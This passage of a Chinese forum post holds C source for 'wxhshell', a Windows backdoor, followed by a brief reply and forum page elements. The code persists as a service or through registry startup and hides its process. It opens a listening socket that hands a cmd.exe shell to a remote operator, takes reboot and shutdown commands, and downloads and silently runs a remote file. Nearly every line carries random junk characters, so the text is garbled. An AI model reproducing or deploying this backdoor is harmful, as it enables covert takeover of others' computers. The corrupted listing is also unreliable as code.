  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?aOR ^ K  
  else + {a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 45kMIh~~X  
  } _j%Rm:m;<  
  else { 3-o ]H'6  
Cf`UMQ a  
    switch(cmd[0]) { JGj_{|=:  
  /R|"/B0  
  // 帮助 _& KaI }O  
  case '?': { R)<Fqa7Tm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Q\yem  
    break; ZmmuP/~2K  
  } yA%[ u.{  
  // 安装 7DOAG[gH  
  case 'i': { ?a}eRA7  
    if(Install()) *2:)Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l' "<  
    else fi bR:8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QO#ZQ~  
    break; V{d"cs>9  
    } + s[(CI.b  
  // 卸载 B5I(ai7<M  
  case 'r': { "H G:by  
    if(Uninstall()) cst=ms  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =602%ef\  
    else KpwUp5K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A)`M*(~  
    break; 9 z3Iwl  
    } YLFTf1G9  
  // 显示 wxhshell 所在路径 E>4 \9  
  case 'p': { )$th${pd#v  
    char svExeFile[MAX_PATH]; Uj!L:u2b  
    strcpy(svExeFile,"\n\r"); (qPZEZKx  
      strcat(svExeFile,ExeFile); %+pXzw`B  
        send(wsh,svExeFile,strlen(svExeFile),0); <78> 6u/W%  
    break; !2{MWj  
    } 58v5Z$%--  
  // 重启 xUSIck  
  case 'b': { YDmFR,047  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0hNc#x6  
    if(Boot(REBOOT)) -C8awtbC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gl!3pTC  
    else { .S5&MNE  
    closesocket(wsh); GbL,k? ey  
    ExitThread(0); 8=2)I.   
    } D~mGv1t"  
    break; 4cV(Z-\  
    } *S=v1 s/  
  // 关机 }'@*Olj  
  case 'd': { DD~8:\QD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); el[6E0!@  
    if(Boot(SHUTDOWN)) w\@Anwj#L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^3r2Q?d\  
    else { z ,ledTl  
    closesocket(wsh); l|uN-{ w  
    ExitThread(0);  MT&i5!Z  
    } YEZ"BgUnbp  
    break; +:Y6O'h.  
    } L3kms6ch  
  // 获取shell [e*8hbS  
  case 's': { 5,mb]v0k  
    CmdShell(wsh); (TY^ kySr  
    closesocket(wsh); zF{ z_c#3@  
    ExitThread(0); yXEC@#?|  
    break; Z>X -ueV  
  } -AffKo  
  // 退出 XDI@ mQmzB  
  case 'x': { FvvF4 ,e5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Zk?.1*2/  
    CloseIt(wsh); c^=,@#  
    break; !D6@\  
    } ^$T>3@rDB  
  // 离开 1= <Qnmw  
  case 'q': { ~Aq UT]l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  35,SPR  
    closesocket(wsh); a]ftE\99  
    WSACleanup(); bF}~9WEa  
    exit(1); `U;4O)`n  
    break; Nz]\%c/-  
        } xUeLX`73  
  }  F-ijGGL#  
  }  oR5`-  
U~T/f-CT  
  // 提示信息 ,m:MI/ )p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {WC{T2:8  
} SYC_=X  
  } + 1cK (Si  
0&w.QoZY(  
  return; :ox+WY  
} aIm\tPbb  
IRcZyry  
// shell模块句柄 C"YM"9JSJ  
int CmdShell(SOCKET sock) >Vg<J~[g  
{ N 2x\O~7  
STARTUPINFO si; -ff*,b$Q/  
ZeroMemory(&si,sizeof(si)); #PFf`7b,z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U`:$1*(`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \6sp"KqP  
PROCESS_INFORMATION ProcessInfo; eR;cl$  
char cmdline[]="cmd"; RE*SdazY?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #^eviF8  
  return 0; Dpof~o,f  
} T"dEa-O  
paiF ah  
// 自身启动模式 Rr:,'cXGi  
int StartFromService(void) 3 UBG?%!$f  
{ sYp@.?Tz  
typedef struct ya|7hz{  
{ 9?]4s-~  
  DWORD ExitStatus; CM~)\prks  
  DWORD PebBaseAddress; 0A|.ch  
  DWORD AffinityMask; Cj ykM])  
  DWORD BasePriority; 1'}~;?_  
  ULONG UniqueProcessId; zs7K :OlkA  
  ULONG InheritedFromUniqueProcessId; K72U0}$B  
}   PROCESS_BASIC_INFORMATION; fpzC#  
wLNO\JP'  
PROCNTQSIP NtQueryInformationProcess; !v94FkS>  
b^FB[tZ\x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :~g=n&x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0h$23.  
mNs&*h}  
  HANDLE             hProcess; 7zy6`O P  
  PROCESS_BASIC_INFORMATION pbi; >D*L0snjV  
+]Ydf^rF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NbfV6$jo  
  if(NULL == hInst ) return 0; *R8q)Q  
qM]eK\q 1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); up`!r;5-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {6A3?q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LUJKR6oT{>  
 :3u>%  
  if (!NtQueryInformationProcess) return 0; Eiwo== M  
#=+d;RdlW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H}X3nl\]  
  if(!hProcess) return 0; j@Z4(X L  
$\{@wL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bf::bV?T  
$c[8-=  
  CloseHandle(hProcess); K^w(WE;db  
YW0UIO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |WlWZ8]  
if(hProcess==NULL) return 0; ^qYJx  
!SEg4z  
HMODULE hMod; Svy bP&i|  
char procName[255]; BEN=/ v  
unsigned long cbNeeded; c`AtK s)u  
WOR~tS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V% psaT=)P  
g/'MECB  
  CloseHandle(hProcess); hb zU?_}  
a\aJw[d{  
if(strstr(procName,"services")) return 1; // 以服务启动 # (T  
ti3T ?_  
  return 0; // 注册表启动 EO3?Dev  
} TDk'  
iIA&\'|;i  
// 主模块 '$;S?6$eW  
int StartWxhshell(LPSTR lpCmdLine) jBarYg  
{ Hj$JXo[U  
  SOCKET wsl;  WOG=Uy$  
BOOL val=TRUE; 3<CCC+47  
  int port=0; G2zfdgW${/  
  struct sockaddr_in door; @9-z8PyF  
!A,]  
  if(wscfg.ws_autoins) Install(); +A3@{ 2  
zT*EpIa+LS  
port=atoi(lpCmdLine); W{Ine> a'  
STL&ZO  
if(port<=0) port=wscfg.ws_port; O2-9Oo@#,  
G!uoKiL  
  WSADATA data; 6ix8P;;}#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fOtL6/?  
8:|F'{<<b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AK} wSXF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I!|_C~I`2  
  door.sin_family = AF_INET; ?ep93:j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V^As@P8,'(  
  door.sin_port = htons(port); 5O%Q*\(  
ND WpV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v&;q4b4  
closesocket(wsl); :]v%6i.  
return 1; ]ECzb/  
} s(o{SC'tt  
cLEBcTx  
  if(listen(wsl,2) == INVALID_SOCKET) { O=?WI  
closesocket(wsl); J 6D?$  
return 1; L#1Y R}m  
} wKIQK!B)mF  
  Wxhshell(wsl); =c"`>Vi@d  
  WSACleanup(); -1 ;BwlL  
5IE2&V  
return 0; tXV9+AJ  
d<r=f"  
} !ZJ" lm  
[I^>ji0V  
// 以NT服务方式启动 imv[xBA(d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <,$(,RX  
{ vd6Y'Zk|F6  
DWORD   status = 0; 0GK<l  
  DWORD   specificError = 0xfffffff; <Wn={1Ts"  
=* oFs|v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zxTcjC)y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  yl0&|Ub  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y-w=4_W  
  serviceStatus.dwWin32ExitCode     = 0; e C?adCb  
  serviceStatus.dwServiceSpecificExitCode = 0; ouL/tt_~  
  serviceStatus.dwCheckPoint       = 0; L}T:Y).  
  serviceStatus.dwWaitHint       = 0; f 0A0uU8y  
mEyJ o|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]3u ErnI  
  if (hServiceStatusHandle==0) return; Ne!F  p  
mtSOygd  
status = GetLastError(); ,u8)g; 8s  
  if (status!=NO_ERROR) G1=GzAd$5  
{ ^V#9{)B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FAkjFgUJp  
    serviceStatus.dwCheckPoint       = 0; Ue^2H[zs-  
    serviceStatus.dwWaitHint       = 0; ~za=yZo7(  
    serviceStatus.dwWin32ExitCode     = status; ?mU 3foa  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]r8t^bqe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pC2ZN  
    return; [DpGL/Y.  
  } e[.c^Hw  
Cp` [0v~0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vf9PHHH|   
  serviceStatus.dwCheckPoint       = 0; {/#^v?,  
  serviceStatus.dwWaitHint       = 0; 9JYrP6I!_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [@fw9@_'  
} ,:Qy%k}f  
Fa:fBs{  
// 处理NT服务事件,比如:启动、停止 h U\)CM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {>PN}fk2QP  
{ 6A&e2K>A  
switch(fdwControl) /`McKYIP  
{ ufyqfID  
case SERVICE_CONTROL_STOP: eM Ym@~4  
  serviceStatus.dwWin32ExitCode = 0; Y /$`vgqs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =@q 9,H  
  serviceStatus.dwCheckPoint   = 0; J6J[\  
  serviceStatus.dwWaitHint     = 0; ;T0F1  
  { $N4%I4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z]kk.@P  
  } 2[6>h)  
  return; ky>0  
case SERVICE_CONTROL_PAUSE: cVya~ *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *y<Ru:D  
  break; __o`+^FS  
case SERVICE_CONTROL_CONTINUE: ]wFKXZeK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?@8[1$1a  
  break; |W4 \  
case SERVICE_CONTROL_INTERROGATE: hqrI%%  
  break; +EK(r@eV  
}; 5{/CqUIl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XHU&ix{Od  
} hiO:VA  
A`_(L|~  
// 标准应用程序主函数 kzU;24"K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U'(}emh}  
{ `7_=2C  
DID&fj9m  
// 获取操作系统版本 swNJ\m  
OsIsNt=GetOsVer(); 9DcUx-   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3yg22y &l  
O92a*)  
  // 从命令行安装 jm9J-%?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ] AkHNgW  
7xz~%xC.  
  // 下载执行文件 9QE|p  
if(wscfg.ws_downexe) { #vh1QV!Ho  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rw_T&>!  
  WinExec(wscfg.ws_filenam,SW_HIDE); :aHD'K  
} juOOD   
0s)B~  
if(!OsIsNt) { tKg\qbY&  
// 如果时win9x,隐藏进程并且设置为注册表启动 b*$/(2"m  
HideProc(); ~3-2Iu^F  
StartWxhshell(lpCmdLine); at7|r\`?-  
} $T7hY$2Q l  
else bU'{U0lM  
  if(StartFromService()) {.F``2  
  // 以服务方式启动 D~_|`D5WK  
  StartServiceCtrlDispatcher(DispatchTable); `s74g0h  
else kB_uU !G  
  // 普通方式启动 ] =ar&1}J  
  StartWxhshell(lpCmdLine); jCdKau&9  
HRS|VC$tz  
return 0; SjgF&LD  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八